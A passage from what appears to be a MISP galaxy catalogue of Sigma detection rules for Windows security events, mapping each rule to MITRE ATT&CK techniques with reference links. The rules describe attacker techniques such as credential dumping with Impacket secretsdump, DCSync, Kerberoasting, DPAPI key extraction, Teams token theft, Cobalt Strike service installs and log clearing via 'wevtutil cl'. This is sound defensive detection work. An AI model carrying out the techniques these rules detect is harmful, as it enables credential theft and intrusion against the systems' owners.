- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"

Table 16156. Table References

Links
https://findingbad.blogspot.de/2017/01/hunting-what-does-it-look-like.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_net_recon_activity.yml

Persistence and Execution at Scale via GPO Scheduled Task

Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale

The tag is: *misp-galaxy:sigma-rules="Persistence and Execution at Scale via GPO Scheduled Task"*

View relationships graph

Persistence and Execution at Scale via GPO Scheduled Task has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 16157. Table References

Links
https://twitter.com/menasec1/status/1106899890377052160

https://www.secureworks.com/blog/ransomware-as-a-distraction
https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-0-16-1-scheduled-task-execution-at-scale-via-gpo.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_gpo_scheduledtasks.yml

Remote Access Tool Services Have Been Installed - Security

Detects service installation of different remote access tools software. These software are often abused by threat actors to perform

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool Services Have Been Installed - Security"*

View relationships graph

Remote Access Tool Services Have Been Installed - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16158. Table References

Links
https://redcanary.com/blog/misbehaving-rats/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_service_install_remote_access_software.yml

Active Directory User Backdoors

Detects scenarios where one can control another users or computers account without having to use their credentials.

The tag is: *misp-galaxy:sigma-rules="Active Directory User Backdoors"*

View relationships graph

Active Directory User Backdoors has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 16159. Table References

Links

https://msdn.microsoft.com/en-us/library/cc220234.aspx
https://adsecurity.org/?p=3466
https://blog.harmj0y.net/redteaming/another-word-on-delegation/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ad_user_backdoors.yml

PowerShell Scripts Installed as Services - Security

Detects powershell script installed as a Service

The tag is: *misp-galaxy:sigma-rules="PowerShell Scripts Installed as Services - Security"*

View relationships graph

PowerShell Scripts Installed as Services - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16160. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_powershell_script_installed_as_service.yml

Uncommon Outbound Kerberos Connection - Security

Detects uncommon outbound network activity via Kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.

The tag is: *misp-galaxy:sigma-rules="Uncommon Outbound Kerberos Connection - Security"*

View relationships graph

Uncommon Outbound Kerberos Connection - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 16161. Table References

Links
https://github.com/GhostPack/Rubeus
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_outbound_kerberos_connection.yml

Invoke-Obfuscation Via Use MSHTA - Security

Detects Obfuscated Powershell via use MSHTA in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use MSHTA - Security"*

View relationships graph

Invoke-Obfuscation Via Use MSHTA - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16162. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_mshta_services_security.yml

CobaltStrike Service Installations - Security

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement

The tag is: *misp-galaxy:sigma-rules="CobaltStrike Service Installations - Security"*

View relationships graph

CobaltStrike Service Installations - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16163. Table References

Links
https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
https://www.sans.org/webcasts/119395
https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_cobalt strike_service_installs.yml

Possible DC Shadow Attack

Detects DCShadow via create new SPN

The tag is: *misp-galaxy:sigma-rules="Possible DC Shadow Attack"*

View relationships graph

Possible DC Shadow Attack has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rogue Domain Controller - T1207" with estimative-language:likelihood-probability="almost-certain"

Table 16164. Table References

Links
https://web.archive.org/web/20180203014709/https://blog.alsid.eu/dcshadow-explained-4510f52fc19d?gi=c426ac876c48
https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2
https://twitter.com/gentilkiwi/status/1003236624925413376
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_possib le_dc_shadow.yml

ISO Image Mounted

Detects the mount of an ISO image on an endpoint

The tag is: *misp-galaxy:sigma-rules="ISO Image Mounted"*

View relationships graph

ISO Image Mounted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 16165. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages
https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image

https://twitter.com/MsftSecIntel/status/1257324139515269121
https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_iso_mount.yml

Hidden Local User Creation

Detects the creation of a local hidden user account which should not happen for event ID 4720.

The tag is: *misp-galaxy:sigma-rules="Hidden Local User Creation"*

View relationships graph

Hidden Local User Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Table 16166. Table References

Links
https://twitter.com/SBousseaden/status/1387743867663958021
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hidden_user_creation.yml

Local User Creation

Detects local user creation on Windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your Windows server logs and not on your DC logs.

The tag is: *misp-galaxy:sigma-rules="Local User Creation"*

View relationships graph

Local User Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Table 16167. Table References

Links
https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_creation.yml

T1047 Wmiprvse Wbemcomn DLL Hijack

Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network for a WMI DLL Hijack scenario.

The tag is: *misp-galaxy:sigma-rules="T1047 Wmiprvse Wbemcomn DLL Hijack"*

View relationships graph

T1047 Wmiprvse Wbemcomn DLL Hijack has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 16168. Table References

Links
https://threathunterplaybook.com/hunts/windows/201009-RemoteWMIWbemcomnDLLHijack/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmiprvse_wbemcomn_dll_hijack.yml

Protected Storage Service Access

Detects access to a protected_storage service over the network. Potential abuse of DPAPI to extract domain backup keys from Domain Controllers

The tag is: *misp-galaxy:sigma-rules="Protected Storage Service Access"*

View relationships graph

Protected Storage Service Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 16169. Table References

Links
https://threathunterplaybook.com/hunts/windows/190620-DomainDPAPIBackupKeyExtraction/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_protected_storage_service_access.yml

Potential AS-REP Roasting via Kerberos TGT Requests

Detects suspicious Kerberos TGT requests with pre-authentication disabled (Pre-Authentication Type = 0) and Ticket Encryption Type (0x17) i.e, RC4-HMAC. This may indicate an AS-REP Roasting attack, where attackers request AS-REP messages for accounts without pre-authentication and attempt to crack the encrypted ticket offline to recover user passwords.

The tag is: *misp-galaxy:sigma-rules="Potential AS-REP Roasting via Kerberos TGT Requests"*

Table 16170. Table References

Links
https://www.picussecurity.com/resource/blog/as-rep-roasting-attack-explained-mitre-attack-t1558.004
https://medium.com/system-weakness/detecting-as-rep-roasting-attacks-b5b3965f9714
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_kerberos_asrep_roasting.yml

Possible Shadow Credentials Added

Detects possible addition of shadow credentials to an active directory object.

The tag is: *misp-galaxy:sigma-rules="Possible Shadow Credentials Added"*

View relationships graph

Possible Shadow Credentials Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 16171. Table References

Links
https://www.elastic.co/guide/en/security/8.4/potential-shadow-credentials-added-to-ad-object.html
https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/
https://twitter.com/SBousseaden/status/1581300963650187264?
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_possible_shadow_credentials_added.yml

Azure AD Health Monitoring Agent Registry Keys Access

This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent. This detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object

HKLM\SOFTWARE\Microsoft\Microsoft Online\Reporting\MonitoringAgent.

The tag is: *misp-galaxy:sigma-rules="Azure AD Health Monitoring Agent Registry Keys Access"*

View relationships graph

Azure AD Health Monitoring Agent Registry Keys Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 16172. Table References

Links
https://o365blog.com/post/hybridhealthagent/
https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_monitoring_agent.yml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_mon_agent_regkey_access.yml

Weak Encryption Enabled and Kerberoast

Detects scenario where weak encryption is enabled for a user profile which could be used for hash/password cracking.

The tag is: *misp-galaxy:sigma-rules="Weak Encryption Enabled and Kerberoast"*

View relationships graph

Weak Encryption Enabled and Kerberoast has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16173. Table References

Links
https://adsecurity.org/?p=2053
https://blog.harmj0y.net/redteaming/another-word-on-delegation/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_enable_weak_encryption.yml

Suspicious Teams Application Related ObjectAcess Event

Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.

The tag is: *misp-galaxy:sigma-rules="Suspicious Teams Application Related ObjectAcess Event"*

View relationships graph

Suspicious Teams Application Related ObjectAcess Event has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"

Table 16174. Table References

Links
https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens
https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_teams_suspicious_objectaccess.yml

Unauthorized System Time Modification

Detect scenarios where a potentially unauthorized application or user is modifying the system time.

The tag is: *misp-galaxy:sigma-rules="Unauthorized System Time Modification"*

View relationships graph

Unauthorized System Time Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

Table 16175. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4616
Live environment caused by malware[Live environment caused by malware]
Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well)[Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well)]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_time_modification.yml

Windows Network Access Suspicious desktop.ini Action

Detects unusual processes accessing desktop.ini remotely over network share, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing

them on disk.

The tag is: *misp-galaxy:sigma-rules="Windows Network Access Suspicious desktop.ini Action"*

View relationships graph

Windows Network Access Suspicious desktop.ini Action has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

Table 16176. Table References

Links
https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_share_obj_susp_desktop_ini.yml

HackTool - NoFilter Execution

Detects execution of NoFilter, a tool for abusing the Windows Filtering Platform for privilege escalation via hardcoded policy name indicators

The tag is: *misp-galaxy:sigma-rules="HackTool - NoFilter Execution"*

View relationships graph

HackTool - NoFilter Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

Table 16177. Table References

Links
https://x.com/*st0pp3r*/status/1742203752361128162?s=20
https://github.com/deepinstinct/NoFilter/blob/121d215ab130c5e8e3ad45a7e7fcd56f4de97b4d/NoFilter/Consts.cpp
https://www.deepinstinct.com/blog/nofilter-abusing-windows-filtering-platform-for-privilege-escalation
https://github.com/deepinstinct/NoFilter
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hktl_nofilter.yml

HybridConnectionManager Service Installation

Rule to detect the Hybrid Connection Manager service installation.

The tag is: *misp-galaxy:sigma-rules="HybridConnectionManager Service Installation"*

View relationships graph

HybridConnectionManager Service Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compromise Host Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"

Table 16178. Table References

Links
https://twitter.com/Cyb3rWard0g/status/1381642789369286662
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hybridconnectionmgr_svc_installation.yml

Password Change on Directory Service Restore Mode (DSRM) Account

Detects potential attempts made to set the Directory Services Restore Mode administrator password. The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password in order to obtain persistence.

The tag is: *misp-galaxy:sigma-rules="Password Change on Directory Service Restore Mode (DSRM) Account"*

View relationships graph

Password Change on Directory Service Restore Mode (DSRM) Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 16179. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4794
https://adsecurity.org/?p=1714
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_dsrm_password_change.yml

Windows Default Domain GPO Modification

Detects modifications to Default Domain or Default Domain Controllers Group Policy Objects (GPOs). Adversaries may modify these default GPOs to deploy malicious configurations across the domain.

The tag is: *misp-galaxy:sigma-rules="Windows Default Domain GPO Modification"*

View relationships graph

Windows Default Domain GPO Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"

Table 16180. Table References

Links
https://jgspiers.com/audit-group-policy-changes/
https://www.pentestpartners.com/security-blog/living-off-the-land-gpo-style/
https://adsecurity.org/?p=3377
https://www.trendmicro.com/en_us/research/25/i/unmasking-the-gentlemen-ransomware.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_default_domain_gpo_modification.yml

Possible Impacket SecretDump Remote Activity

Detect AD credential dumping using impacket secretdump HKTL

The tag is: *misp-galaxy:sigma-rules="Possible Impacket SecretDump Remote Activity"*

View relationships graph

Possible Impacket SecretDump Remote Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 16181. Table References

Links
https://web.archive.org/web/20230329153811/https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_secretdump.yml

Security Eventlog Cleared

One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution

The tag is: *misp-galaxy:sigma-rules="Security Eventlog Cleared"*

View relationships graph

Security Eventlog Cleared has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

Table 16182. Table References

Links
https://twitter.com/deviouspolack/status/832535435960209408
https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml
https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_audit_log_cleared.yml

Sysmon Channel Reference Deletion

Potential threat actor tampering with Sysmon manifest and eventually disabling it

The tag is: *misp-galaxy:sigma-rules="Sysmon Channel Reference Deletion"*

View relationships graph

Sysmon Channel Reference Deletion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 16183. Table References

Links
https://twitter.com/Flangvik/status/1283054508084473861
https://twitter.com/SecurityJosh/status/1283027365770276866

https://securityjosh.github.io/2020/04/23/Mute-Sysmon.html
https://gist.github.com/Cyb3rWard0g/cf08c38c61f7e46e8404b38201ca01c8
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sysmon_channel_reference_deletion.yml

Suspicious PsExec Execution

detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one

The tag is: *misp-galaxy:sigma-rules="Suspicious PsExec Execution"*

View relationships graph

Suspicious PsExec Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 16184. Table References

Links
https://web.archive.org/web/20230329171218/https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_psexec.yml

External Disk Drive Or USB Storage Device Was Recognized By The System

Detects external disk drives or plugged-in USB devices.

The tag is: *misp-galaxy:sigma-rules="External Disk Drive Or USB Storage Device Was Recognized By The System"*

View relationships graph

External Disk Drive Or USB Storage Device Was Recognized By The System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"

Table 16185. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-6416
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_external_device.yml

Active Directory Replication from Non Machine Account

Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.

The tag is: *misp-galaxy:sigma-rules="Active Directory Replication from Non Machine Account"*

View relationships graph

Active Directory Replication from Non Machine Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"

Table 16186. Table References

Links
https://threathunterplaybook.com/library/windows/active_directory_replication.html
https://threathunterplaybook.com/hunts/windows/180815-ADObjectAccessReplication/notebook.html
https://threathunterplaybook.com/hunts/windows/190101-ADModDirectoryReplication/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_replication_non_machine_account.yml

Add or Remove Computer from DC

Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN.

The tag is: *misp-galaxy:sigma-rules="Add or Remove Computer from DC"*

View relationships graph

Add or Remove Computer from DC has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rogue Domain Controller - T1207" with estimative-language:likelihood-probability="almost-certain"

Table 16187. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4741
https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4743
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_add_remove_computer.yml

Service Registry Key Read Access Request

Detects "read access" requests on the services registry key. Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.

The tag is: *misp-galaxy:sigma-rules="Service Registry Key Read Access Request"*

View relationships graph

Service Registry Key Read Access Request has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"

Table 16188. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness
https://center-for-threat-informed-defense.github.io/summiting-the-pyramid/analytics/service_registry_permissions_weakness_check/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_registry_permissions_weakness_check.yml

DPAPI Domain Master Key Backup Attempt

Detects anyone attempting a backup for the DPAPI Master Key. This events gets generated at the source and not the Domain Controller.

The tag is: *misp-galaxy:sigma-rules="DPAPI Domain Master Key Backup Attempt"*

View relationships graph

DPAPI Domain Master Key Backup Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

Table 16189. Table References

Links
https://threathunterplaybook.com/hunts/windows/190620-DomainDPAPIBackupKeyExtraction/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_masterkey_backup_attempt.yml

DCOM InternetExplorer.Application Iertutil DLL Hijack - Security

Detects a threat actor creating a file named `iertutil.dll` in the `C:\Program Files\Internet Explorer\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario.

The tag is: *misp-galaxy:sigma-rules="DCOM InternetExplorer.Application Iertutil DLL Hijack - Security"*

View relationships graph

DCOM InternetExplorer.Application Iertutil DLL Hijack - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 16190. Table References

Links
https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcom_iertutil_dll_hijack.yml

Password Protected ZIP File Opened (Suspicious Filenames)

Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.

The tag is: *misp-galaxy:sigma-rules="Password Protected ZIP File Opened (Suspicious Filenames)"*

View relationships graph

Password Protected ZIP File Opened (Suspicious Filenames) has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 16191. Table References

Links
https://twitter.com/sbousseaden/status/1523383197513379841
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_filename.yml

Remote Task Creation via ATSVC Named Pipe

Detects remote task creation via at.exe or API interacting with ATSVC namedpipe

The tag is: *misp-galaxy:sigma-rules="Remote Task Creation via ATSVC Named Pipe"*

View relationships graph

Remote Task Creation via ATSVC Named Pipe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Table 16192. Table References

Links
https://web.archive.org/web/20230409194125/https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_atsvc_task.yml

Invoke-Obfuscation CLIP+ Launcher - Security

Detects Obfuscated use of Clip.exe to execute PowerShell

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation CLIP+ Launcher - Security"*

View relationships graph

Invoke-Obfuscation CLIP+ Launcher - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16193. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_clip_services_security.yml

Register new Logon Process by Rubeus

Detects potential use of Rubeus via registered new trusted logon process

The tag is: *misp-galaxy:sigma-rules="Register new Logon Process by Rubeus"*

View relationships graph

Register new Logon Process by Rubeus has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 16194. Table References

Links
https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_register_new_logon_process_by_rubeus.yml

Invoke-Obfuscation COMPRESS OBFUSCATION - Security

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation COMPRESS OBFUSCATION - Security"*

View relationships graph

Invoke-Obfuscation COMPRESS OBFUSCATION - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-

language:likelihood-probability="almost-certain"

Table 16195. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_compress_services_security.yml

Suspicious Windows ANONYMOUS LOGON Local Account Created

Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts.

The tag is: *misp-galaxy:sigma-rules="Suspicious Windows ANONYMOUS LOGON Local Account Created"*

View relationships graph

Suspicious Windows ANONYMOUS LOGON Local Account Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"

Table 16196. Table References

Links
https://twitter.com/SBousseaden/status/1189469425482829824
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_local_anon_logon_created.yml

Suspicious LDAP-Attributes Used

Detects the usage of particular AttributeLDAPDisplayNames, which are known for data exchange via LDAP by the tool LDAPFragger and are additionally not commonly used in companies.

The tag is: *misp-galaxy:sigma-rules="Suspicious LDAP-Attributes Used"*

View relationships graph

Suspicious LDAP-Attributes Used has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Protocol or Service Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"

Table 16197. Table References

Links
https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961
https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/
https://github.com/fox-it/LDAPFragger
